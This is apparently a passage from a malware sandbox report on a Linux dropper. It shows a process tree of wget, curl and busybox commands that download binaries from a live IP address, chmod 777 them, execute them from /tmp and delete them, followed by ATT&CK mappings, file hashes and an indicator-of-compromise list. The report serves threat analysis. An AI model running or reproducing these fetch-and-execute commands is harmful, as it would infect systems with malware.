  /bin/busybox wget http://216.126.231.240/bins/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  PID:950
- /bin/chmod
  chmod 777 sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  ./sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  PID:953
- /usr/bin/wget
  wget http://216.126.231.240/bins/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  PID:954
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  PID:956
- /bin/chmod
  chmod 777 KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  ./KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  PID:959
- /usr/bin/wget
  wget http://216.126.231.240/bins/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  PID:960
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  PID:962
- /bin/chmod
  chmod 777 X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  ./X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  PID:965
- /usr/bin/wget
  wget http://216.126.231.240/bins/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  PID:966
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  - Reads runtime system information
  PID:967

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg

Path /tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg	729	5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
/tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo	773	J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
/tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy	787	jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
/tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9	796	UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
/tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1	832	fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
/tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS	838	23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
/tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w	844	pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
/tmp/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb	850	t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
/tmp/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu	856	EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
/tmp/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv	862	KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
/tmp/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk	868	X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
/tmp/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn	874	87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
/tmp/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH	880	kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
/tmp/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB	886	sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
/tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy	892	jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
/tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg	898	5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
/tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo	904	J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
/tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS	910	23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
/tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9	916	UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
/tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1	922	fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
/tmp/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu	928	EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
/tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w	934	pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
/tmp/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb	940	t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
/tmp/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH	946	kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
/tmp/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB	952	sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
/tmp/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv	958	KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
/tmp/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk	964	X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk